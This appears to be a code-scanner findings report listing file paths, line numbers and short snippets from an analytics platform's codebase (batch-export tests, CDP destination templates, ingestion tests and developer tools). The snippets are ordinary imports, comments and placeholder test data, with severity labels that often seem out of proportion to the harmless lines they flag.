| HIGH | …s/temporal/destinations/snowflake/test_activity_e2e.py | 0 | test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema o | STRING |
| HIGH | …/tests/temporal/destinations/redshift/test_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema o | STRING |
| HIGH | …s/temporal/destinations/redshift/test_copy_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema o | STRING |
| HIGH | …/tests/temporal/destinations/postgres/test_activity.py | 0 | test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema o | STRING |
| HIGH | …/tests/temporal/destinations/bigquery/test_workflow.py | 0 | test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we d | STRING |
| HIGH | …tests/temporal/destinations/snowflake/test_workflow.py | 0 | test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we d | STRING |
| HIGH | …/tests/temporal/destinations/redshift/test_workflow.py | 0 | test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we d | STRING |
| HIGH | …/tests/temporal/destinations/postgres/test_workflow.py | 0 | test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we d | STRING |
| HIGH | …/tests/temporal/destinations/bigquery/test_workflow.py | 0 | test that postgres export workflow can gracefully handle non-retryable errors when inserting postgres data. this means w | STRING |
| HIGH | …/tests/temporal/destinations/redshift/test_workflow.py | 0 | test that postgres export workflow can gracefully handle non-retryable errors when inserting postgres data. this means w | STRING |
| 367 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | otel-collector-config.dev.yaml | 61 | scrape_interval: 15s | COMMENT |
| LOW | conftest.py | 21 | # Deliberately no gc.collect() before the freeze: sweeping the boot garbage | COMMENT |
| LOW | pytest.ini | 1 | [pytest] | COMMENT |
| LOW | docker-compose.multinode-clickhouse.yml | 1 | # | COMMENT |
| LOW | docker-compose.dev.yml | 1 | # | COMMENT |
| LOW | docker-compose.sandbox.yml | 1 | # | COMMENT |
| LOW | docker-compose.base.yml | 241 | # master), so presigned POST uploads — error tracking symbol sets via posthog-cli — | COMMENT |
| LOW | docker-compose.profiles.yml | 1 | # Docker Compose profile overlay — historical backwards-compatibility layer. | COMMENT |
| LOW | …analytics-platform/dashboard-key-metrics/dashboards.tf | 1 | # ============================================================================= | COMMENT |
| LOW | …eam-analytics-platform/dashboard-key-metrics/alerts.tf | 1 | # ============================================================================= | COMMENT |
| LOW | nodejs/jest.setup-env.ts | 1 | import { mkdirSync, readFileSync, writeFileSync } from 'fs' | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1461 | // // User 1 creation | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1481 | // // User 2 creation | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1501 | // // Merge users: alias user1 -> user2 | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1521 | // await waitForKafkaMessages(kafkaProducer) | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1541 | // new_name: 'User 1 - Updated', | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1561 | // // Except distinctids to match the ids, in any order | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1581 | // name: 'User 1', | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1601 | // name: 'User 2', | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1621 | // distinct_id: user2DistinctId, | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1641 | // expect(events.length).toBe(6) | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1661 | // }) | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1681 | // }) | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1701 | // }, | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1721 | COMMENT | |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1741 | // .build(), | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1761 | // // All events should be processed without errors | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 1781 | // expect.objectContaining({ | COMMENT |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 2361 | }) | COMMENT |
| LOW | nodejs/src/cdp/workflows-e2e.test.ts | 361 | const eventNameBytecode = (eventName: string): any[] => ['_H', 1, 32, eventName, 32, 'event', 1, 1, 11] | COMMENT |
| LOW | nodejs/src/cdp/workflows-e2e.test.ts | 2001 | it('does not emit duplicate Resuming / Executing / pause logs for the email-queue routing reschedule', async () => { | COMMENT |
| LOW | nodejs/src/cdp/workflows-e2e.test.ts | 2321 | expect(logMessages.filter((msg) => msg.includes('Email sent to recipient@example.com'))).toHaveLength(2) | COMMENT |
| LOW | nodejs/src/cdp/types.ts | 341 | // Set by the subscription matcher consumer when it wakes a wait_until_condition | COMMENT |
| LOW | nodejs/src/cdp/types.ts | 361 | // The flag is *not* cleared here — it stays set so `executeCurrentAction` can | COMMENT |
| LOW | nodejs/src/cdp/config.ts | 221 | HOG_FUNCTION_MONITORING_LOG_ENTRIES_PRODUCER: WARPSTREAM_INGESTION_PRODUCER, | COMMENT |
| LOW | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 301 | expect(originalRows[0].function_kind).toBe('hog_function') | COMMENT |
| LOW | nodejs/src/cdp/rerun/rerun-e2e.test.ts | 381 | }, 30_000) | COMMENT |
| LOW | nodejs/src/cdp/rerun/rerun-paginator.service.ts | 581 | const hogFunction = await this.hogFunctionManager.getHogFunction(functionId) | COMMENT |
| LOW | nodejs/src/cdp/schema/cyclotron.ts | 61 | COMMENT | |
| LOW | nodejs/src/cdp/services/self-loop-guard.ts | 1 | import { Counter } from 'prom-client' | COMMENT |
| LOW | nodejs/src/cdp/services/hogflows/hogflow-utils.ts | 141 | COMMENT | |
| LOW | …dejs/src/cdp/services/hogflows/actions/hog_function.ts | 61 | result.invocation.state.currentAction!.hogFunctionState = functionResult.invocation.state | COMMENT |
| LOW | …ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts | 1361 | it('assigns dequeue_seq when a hog job is rescheduled into the email queue', async () => { | COMMENT |
| LOW | …s/src/cdp/services/messaging/email-tracking.service.ts | 101 | // Only carry distinct_id in the in-email pixel/redirect URLs in dev/test, where those handlers | COMMENT |
| LOW | …src/cdp/services/messaging/email-validation.service.ts | 21 | }) | COMMENT |
| LOW | nodejs/src/ingestion/ingestion-consumer.test.ts | 1121 | // x: 1020, | COMMENT |
| LOW | nodejs/src/ingestion/framework/batching-pipeline.ts | 121 | // pushes its elements into the sub-pipeline; lets the pump tell a feed that | COMMENT |
| LOW | nodejs/src/ingestion/framework/batching-pipeline.ts | 161 | ) { | COMMENT |
| LOW | …s/src/ingestion/pipelines/ai/costs/input-costs.test.ts | 1181 | const result = calculateInputCost(event, vercelAnthropicAudioModel) | COMMENT |
| LOW | …s/src/ingestion/pipelines/ai/otel/attribute-mapping.ts | 241 | | 'created' | COMMENT |
| LOW | …lines/analytics/post-team-preprocessing-subpipeline.ts | 101 | // Refresh TTLs for overflow lane events (keeps Redis flags alive) | COMMENT |
| LOW | …s/src/ingestion/common/persons/person-merge-service.ts | 221 | // Overrides are only created when the version is > 0, see: | COMMENT |
| LOW | …s/src/ingestion/common/persons/person-merge-service.ts | 301 | if (insertedDistinctId1 && insertedDistinctId2) { | COMMENT |
| LOW | nodejs/src/ingestion/common/outputs/producers.ts | 1 | import type { AllowedConfigKey } from '~/common/outputs/kafka-producer-config' | COMMENT |
| LOW | nodejs/src/common/redis/redis-token-bucket-v3.lua.ts | 1 | import { Redis } from 'ioredis' | COMMENT |
| LOW | nodejs/src/common/utils/utils.ts | 281 | // 4 bits for ver = 0b111 (7) | COMMENT |
| LOW | nodejs/src/common/api/router.ts | 81 | const buildGetHealth = | COMMENT |
| LOW | nodejs/src/logs/sampling-drop-probe-curl.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | nodejs/src/logs/sampling-seed-services-curl.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | nodejs/src/servers/ingestion-api-server.ts | 441 | COMMENT | |
| 1602 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/test_selection_verdict.py | 47 | CODE | |
| LOW | tools/test_selection_verdict.py | 156 | CODE | |
| LOW | tools/snob_backend_test_selection_shadow.py | 177 | CODE | |
| LOW | tools/snob_backend_test_selection_shadow.py | 403 | CODE | |
| LOW | …ai/sandboxed_autoresearch_agent/driver/run_campaign.py | 201 | CODE | |
| LOW | …e_ai/sandboxed_autoresearch_agent/driver/sandboxing.py | 78 | CODE | |
| LOW | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 195 | CODE | |
| LOW | …ce-ai/query_performance_ai/orchestrator/coordinator.py | 637 | CODE | |
| LOW | tools/infra-scripts/clitools/test_toolbox.py | 828 | CODE | |
| LOW | tools/infra-scripts/clitools/test_toolbox.py | 1207 | CODE | |
| LOW | tools/infra-scripts/clitools/test_toolbox.py | 836 | CODE | |
| LOW | tools/infra-scripts/clitools/toolbox.py | 61 | CODE | |
| LOW | tools/infra-scripts/clitools/toolbox/pod.py | 28 | CODE | |
| LOW | tools/infra-scripts/clitools/toolbox/pod.py | 141 | CODE | |
| LOW | tools/hogli/src/hogli/command_types.py | 337 | CODE | |
| LOW | tools/hogli/src/hogli/command_types.py | 402 | CODE | |
| LOW | tools/hogli/src/hogli/cli.py | 295 | CODE | |
| LOW | tools/hogli/src/hogli/cli.py | 520 | CODE | |
| LOW | tools/pr-approval-agent/familiarity.py | 156 | CODE | |
| LOW | tools/pr-approval-agent/familiarity.py | 237 | CODE | |
| LOW | tools/pr-approval-agent/familiarity.py | 291 | CODE | |
| LOW | tools/pr-approval-agent/gates.py | 360 | CODE | |
| LOW | tools/pr-approval-agent/reviewer.py | 283 | CODE | |
| LOW | tools/pr-approval-agent/reviewer.py | 418 | CODE | |
| LOW | tools/pr-approval-agent/review_pr.py | 653 | CODE | |
| LOW | tools/pr-approval-agent/github.py | 343 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/metabase.py | 69 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/metabase.py | 190 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 265 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/db_schema.py | 299 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/test_runner.py | 65 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/test_runner.py | 401 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/test_runner.py | 556 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/test_runner.py | 591 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 97 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 503 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 546 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 683 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/migrations.py | 787 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 295 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 740 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 888 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 1423 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/doctor.py | 1552 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/prechecks.py | 15 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/worktrees.py | 460 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/worktrees.py | 750 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/devenv/wizard.py | 148 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/devenv/generator.py | 546 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/devenv/generator.py | 127 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/product/checks.py | 195 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/product/checks.py | 379 | CODE | |
| LOW | …s/hogli-commands/hogli_commands/product/ast_helpers.py | 38 | CODE | |
| LOW | …s/hogli-commands/hogli_commands/product/ast_helpers.py | 50 | CODE | |
| LOW | …s/hogli-commands/hogli_commands/product/ast_helpers.py | 120 | CODE | |
| LOW | …s/hogli-commands/hogli_commands/product/ast_helpers.py | 136 | CODE | |
| LOW | …s/hogli-commands/hogli_commands/product/ast_helpers.py | 176 | CODE | |
| LOW | …s/hogli-commands/hogli_commands/product/ast_helpers.py | 213 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/product/isolate.py | 79 | CODE | |
| LOW | tools/hogli-commands/hogli_commands/product/isolate.py | 154 | CODE | |
| 1724 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| CRITICAL | nodejs/src/cdp/services/messaging/email.service.test.ts | 632 | const trackingHeader = sentCommand.input.Content.Simple.Headers.find( | CODE |
| CRITICAL | …ion/pipelines/sessionreplay/parse-message-step.test.ts | 451 | expect(result.value.parsedMessage.eventsRange.start.toMillis()).toBe(fixedTimeMs) | CODE |
| CRITICAL | …ion/pipelines/sessionreplay/parse-message-step.test.ts | 452 | expect(result.value.parsedMessage.eventsRange.end.toMillis()).toBe(fixedTimeMs + 5000) | CODE |
| CRITICAL | …ion/pipelines/sessionreplay/parse-message-step.test.ts | 527 | expect(result.value.parsedMessage.eventsRange.start.toMillis()).toBe(sixDaysInPast) | CODE |
| CRITICAL | …ion/pipelines/sessionreplay/parse-message-step.test.ts | 528 | expect(result.value.parsedMessage.eventsRange.end.toMillis()).toBe(sixDaysInFuture) | CODE |
| CRITICAL | nodejs/src/common/temporal/codec.ts | 119 | data: this.encrypt(temporal.api.common.v1.Payload.encode(p).finish()), | CODE |
| CRITICAL | nodejs/src/common/temporal/codec.ts | 131 | return temporal.api.common.v1.Payload.decode(decrypted) | CODE |
| CRITICAL | products/demo/backend/logic/products/hedgebox/matrix.py | 12 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/slack_app/backend/api.py | 14 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/slack_app/backend/slack_link_unfurl.py | 9 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …lack_app/backend/tests/services/test_slack_settings.py | 6 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/slack_app/backend/services/slack_app_home.py | 23 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/slack_app/backend/services/slack_settings.py | 156 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …ckend/temporal/destinations/azure_blob_batch_export.py | 7 | from azure.core.exceptions import HttpResponseError | CODE |
| CRITICAL | …/destinations/azure_blob/test_workflow_error_states.py | 9 | from azure.core.exceptions import ClientAuthenticationError, ResourceNotFoundError | CODE |
| CRITICAL | …ch_exports/backend/api/destination_tests/azure_blob.py | 37 | from azure.core.exceptions import ClientAuthenticationError, ResourceNotFoundError, ServiceRequestError | CODE |
| CRITICAL | products/cdp/backend/models/hook.py | 3 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/cdp/backend/api/hooks.py | 4 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/feature_flags/backend/models/feature_flag.py | 9 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …ics/backend/models/marketing_analytics_goal_mapping.py | 1 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …ckend/hogql_queries/test_marketing_analytics_config.py | 4 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …alytics/backend/hogql_queries/adapters/test_factory.py | 7 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …/backend/hogql_queries/error_tracking_query_builder.py | 4 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/tasks/backend/models.py | 22 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …k/activities/tests/test_get_task_processing_context.py | 4 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/tasks/backend/tests/test_models.py | 9 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …use/backend/presentation/views/external_data_source.py | 12 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | products/user_interviews/backend/max_tools.py | 5 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | products/user_interviews/backend/presentation/views.py | 8 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | …backend/hogql_queries/experiment_mean_query_builder.py | 180 | events_join_key_parts = cast(list[str | int], self._b.metric.source.events_join_key.split(".")) | STRING |
| CRITICAL | …/backend/management/commands/reingest_signal_report.py | 5 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …tics/backend/hogql_queries/paths/paths_query_runner.py | 731 | table.select_from.table.select_from.table.select.extend( # type: ignore[union-attr] | CODE |
| CRITICAL | products/workflows/backend/api/hog_flow.py | 8 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | …a_modeling/backend/models/datawarehouse_saved_query.py | 8 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …ducts/data_modeling/backend/models/github_sync_plan.py | 1 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/growth/backend/admin.py | 6 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL⚡ | …scriptions/ai_subscription/test/test_spec_generator.py | 173 | mock_chat.return_value.with_structured_output.return_value.invoke.configure_mock(**invoke_config) | CODE |
| CRITICAL | …cts/exports/backend/tasks/test/test_failure_handler.py | 3 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | products/alerts/backend/max_tools.py | 4 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/alerts/backend/models/alert.py | 6 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/web_analytics/backend/api/heatmaps_api.py | 5 | from django.core.exceptions import FieldError | CODE |
| CRITICAL | products/logs/backend/models.py | 7 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/logs/backend/test/test_models.py | 6 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …kend/management/commands/reset_duckgres_failed_runs.py | 1 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/customer_analytics/backend/max_tools.py | 4 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …omer_analytics/backend/logic/custom_property_values.py | 14 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/customer_analytics/backend/facade/api.py | 24 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …ucts/customer_analytics/backend/models/account_test.py | 6 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | products/customer_analytics/backend/models/account.py | 5 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/dashboards/backend/models/dashboard_tile.py | 1 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/dashboards/backend/api/dashboard.py | 14 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | products/replay_vision/backend/tests/test_quota.py | 6 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …cts/replay_vision/backend/models/replay_quota_grant.py | 1 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/legal_documents/backend/admin.py | 5 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/legal_documents/backend/tests/test_admin.py | 8 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/legal_documents/backend/presentation/views.py | 4 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| CRITICAL | …ai_observability/backend/models/model_configuration.py | 1 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/ai_observability/backend/models/taggers.py | 3 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | …s/ai_observability/backend/models/test/test_taggers.py | 4 | from django.core.exceptions import ValidationError | CODE |
| CRITICAL | products/business_knowledge/backend/api/views.py | 7 | from django.core.exceptions import ValidationError as DjangoValidationError | CODE |
| 55 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nodejs/tests/ingestion/person-updates-e2e.test.ts | 691 | $set: { email: 'user@example.com' }, | CODE |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 4120 | $set: { email: 'user@example.com', name: 'Identified User' }, | CODE |
| LOW | nodejs/tests/ingestion/ingestion-e2e.test.ts | 4136 | email: 'user@example.com', | CODE |
| LOW | nodejs/src/cdp/cdp-api.test.ts | 62 | name: 'Jane Doe', | CODE |
| LOW | nodejs/src/cdp/cdp-api.test.ts | 204 | "name": "Jane Doe", | CODE |
| LOW | nodejs/src/cdp/cdp-api.test.ts | 499 | "name": "Jane Doe", | CODE |
| LOW | nodejs/src/cdp/_tests/fixtures-hogflows.ts | 48 | name: 'John Doe', | CODE |
| LOW | nodejs/src/cdp/_tests/fixtures-hogflows.ts | 50 | name: 'John Doe', | CODE |
| LOW | nodejs/src/cdp/utils/hog-function-filtering.test.ts | 38 | properties: { name: 'Acme Corp' }, | CODE |
| LOW | nodejs/src/cdp/utils/hog-function-filtering.test.ts | 69 | "name": "Acme Corp", | CODE |
| LOW⚡ | nodejs/src/cdp/utils/hog-function-filtering.test.ts | 146 | person_properties: JSON.stringify({ name: 'John Doe' }), | CODE |
| LOW⚡ | nodejs/src/cdp/utils/hog-function-filtering.test.ts | 155 | properties: { name: 'John Doe' }, | CODE |
| LOW⚡ | nodejs/src/cdp/utils/hog-function-filtering.test.ts | 162 | properties: { name: 'John Doe' }, | CODE |
| LOW | nodejs/src/cdp/utils/hog-function-filtering.test.ts | 178 | group0_properties: JSON.stringify({ name: 'Acme Corp' }), | CODE |
| LOW | nodejs/src/cdp/utils/hog-function-filtering.test.ts | 192 | expect(result.group_0).toEqual({ properties: { name: 'Acme Corp' } }) | CODE |
| LOW | nodejs/src/cdp/consumers/cdp-events-consumer.test.ts | 999 | group_properties: { name: 'Acme Inc', industry: 'Tech' }, | CODE |
| LOW | nodejs/src/cdp/consumers/cdp-events-consumer.test.ts | 1068 | properties: { name: 'Acme Inc', industry: 'Tech' }, | CODE |
| LOW | nodejs/src/cdp/consumers/cdp-events-consumer.test.ts | 1103 | properties: { name: 'Acme Inc', industry: 'Tech' }, | CODE |
| LOW | …p/templates/_destinations/unify/unify.template.test.ts | 95 | properties: { company_domain: 'acme.com', company_name: 'Acme Inc' }, | CODE |
| LOW | …p/templates/_destinations/unify/unify.template.test.ts | 108 | name: 'Acme Inc', | CODE |
| LOW⚡ | …templates/_destinations/accoil/accoil.template.test.ts | 35 | name: 'John Doe', | CODE |
| LOW⚡ | …templates/_destinations/accoil/accoil.template.test.ts | 42 | name: 'John Doe', | CODE |
| LOW⚡ | …templates/_destinations/accoil/accoil.template.test.ts | 50 | user_name: 'John Doe', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 65 | name: 'John Doe', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 180 | name: 'Acme Corp', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 191 | group_name: 'Acme Corp', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 204 | name: 'Acme Corp', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 412 | company: 'Acme Corp', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 419 | user_name: 'John Doe', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 430 | name: 'John Doe', | CODE |
| LOW⚡ | …templates/_destinations/accoil/accoil.template.test.ts | 543 | name: 'John Doe', | CODE |
| LOW⚡ | …templates/_destinations/accoil/accoil.template.test.ts | 546 | company: 'Acme Corp', | CODE |
| LOW⚡ | …templates/_destinations/accoil/accoil.template.test.ts | 552 | user_name: 'John Doe', | CODE |
| LOW⚡ | …templates/_destinations/accoil/accoil.template.test.ts | 562 | name: 'John Doe', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 583 | name: 'Acme Corp', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 594 | group_name: 'Acme Corp', | CODE |
| LOW | …templates/_destinations/accoil/accoil.template.test.ts | 604 | name: 'Acme Corp', | CODE |
| LOW | …p/templates/_destinations/klime/klime.template.test.ts | 170 | $group_set: { name: 'Acme Inc' }, | CODE |
| LOW | …p/templates/_destinations/klime/klime.template.test.ts | 179 | expect(batchEvent.traits).toEqual({ name: 'Acme Inc' }) | CODE |
| LOW | …p/templates/_destinations/klime/klime.template.test.ts | 235 | $group_set: { name: 'Acme Inc', plan: 'enterprise', $initial_os: 'Mac OS X' }, | CODE |
| LOW | …p/templates/_destinations/klime/klime.template.test.ts | 243 | expect(parseBatchEvent(response).traits).toEqual({ name: 'Acme Inc', plan: 'enterprise' }) | CODE |
| LOW⚡ | …/_destinations/firebase_push/firebase_push.template.ts | 72 | requiredScopes: 'placeholder', | CODE |
| LOW | …/cdp/templates/_destinations/twilio/twilio.template.ts | 64 | requiredScopes: 'placeholder', | CODE |
| LOW | …emplates/_sources/stripe/__tests__/stripe-webhook.json | 39 | "customer_email": "test@test.com", | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 41 | name: 'John Doe', | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 62 | expect(result.properties.name).toMatch(sha256('John Doe')) | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 69 | expect(result.properties.name).not.toBe('John Doe') | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 80 | name: 'John Doe', | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 103 | expect(result.properties.$set?.name).toMatch(sha256('John Doe')) | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 177 | name: 'John Doe', | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 196 | expect(result.properties.name).toBe('John Doe') | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 205 | name: 'John Doe', | CODE |
| LOW | …tions/hash-properties/hash-properties.template.test.ts | 224 | expect(result.properties.name).toMatch(sha256('John Doe')) | CODE |
| LOW | …dp/legacy-plugins/_destinations/sendgrid/index.test.ts | 96 | distinct_id: 'user0@example.org', | CODE |
| LOW | …dp/legacy-plugins/_destinations/sendgrid/index.test.ts | 104 | email: 'user1@example.org', | CODE |
| LOW | …dp/legacy-plugins/_destinations/sendgrid/index.test.ts | 124 | email: 'user0@example.org', | CODE |
| LOW | …dp/legacy-plugins/_destinations/sendgrid/index.test.ts | 142 | email: 'user1@example.org', | CODE |
| LOW | …tions/posthog-anonymization/tests/processEvent.test.ts | 21 | name: 'John Doe', | CODE |
| LOW | nodejs/src/cdp/services/hog-executor.service.test.ts | 2233 | to: { email: 'user@example.com' }, | CODE |
| LOW | nodejs/src/cdp/services/hog-executor.service.test.ts | 2261 | to: { email: 'user@example.com' }, | CODE |
| 766 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/hogli/src/hogli/telemetry.py | 154 | def set_enabled(self, enabled: bool) -> None: | CODE |
| LOW | tools/hogli/src/hogli/telemetry.py | 296 | def set_enabled(enabled: bool) -> None: | CODE |
| LOW | tools/hogbox-preview/hogbox_preview/__init__.py | 16 | __all__ = [ | CODE |
| LOW | tools/hogli-commands/hogli_commands/devenv/__init__.py | 25 | __all__ = [ | CODE |
| LOW | tools/hogli-commands/hogli_commands/product/__init__.py | 7 | __all__ = [ | CODE |
| LOW | tools/hogli-commands/hogli_commands/devbox/coder.py | 1425 | def update_workspace_parameters(name: str, parameters: dict[str, str]) -> None: | CODE |
| LOW | …s/hogli-commands/hogli_commands/workflow_lint/check.py | 62 | __all__ = ["CheckResult", "Issue", "WorkflowCheck"] | CODE |
| LOW | …s/hogli-commands/hogli_commands/workflow_lint/model.py | 190 | __all__ = [ | CODE |
| LOW | …mmands/hogli_commands/workflow_lint/checks/__init__.py | 60 | __all__ = ["CHECKS", "get_check"] | CODE |
| LOW | tools/traffic-sim/cli.py | 333 | async def _set_browserstack_status(page: Page, passed: bool, reason: str = "") -> None: | CODE |
| LOW | products/managed_migrations/backend/models/__init__.py | 3 | __all__ = [ | CODE |
| LOW | products/demo/backend/logic/products/__init__.py | 4 | __all__ = ["HedgeboxMatrix", "SpikeGPTMatrix"] | CODE |
| LOW⚡ | products/demo/backend/logic/products/hedgebox/matrix.py | 1802 | def _set_up_demo_oauth_application(self, team: "Team", user: "User") -> None: | CODE |
| LOW | products/demo/backend/logic/products/hedgebox/matrix.py | 1608 | def _set_up_file_engagement_experiment(self, team: "Team", user: "User", flag: FeatureFlag) -> None: | CODE |
| LOW | products/demo/backend/logic/products/hedgebox/matrix.py | 1833 | def _set_up_error_tracking_demo_data(self, team: "Team") -> None: | CODE |
| LOW | products/demo/backend/logic/products/hedgebox/matrix.py | 2136 | def _set_up_demo_data_warehouse_tables(self, team: "Team", user: "User") -> None: | CODE |
| LOW | …ducts/demo/backend/logic/products/hedgebox/__init__.py | 19 | __all__ = ["HedgeboxMatrix"] | CODE |
| LOW | …ducts/demo/backend/logic/products/spikegpt/__init__.py | 5 | __all__ = ["SpikeGPTMatrix"] | CODE |
| LOW | products/demo/backend/logic/matrix/__init__.py | 5 | __all__ = ["Matrix", "MatrixManager"] | CODE |
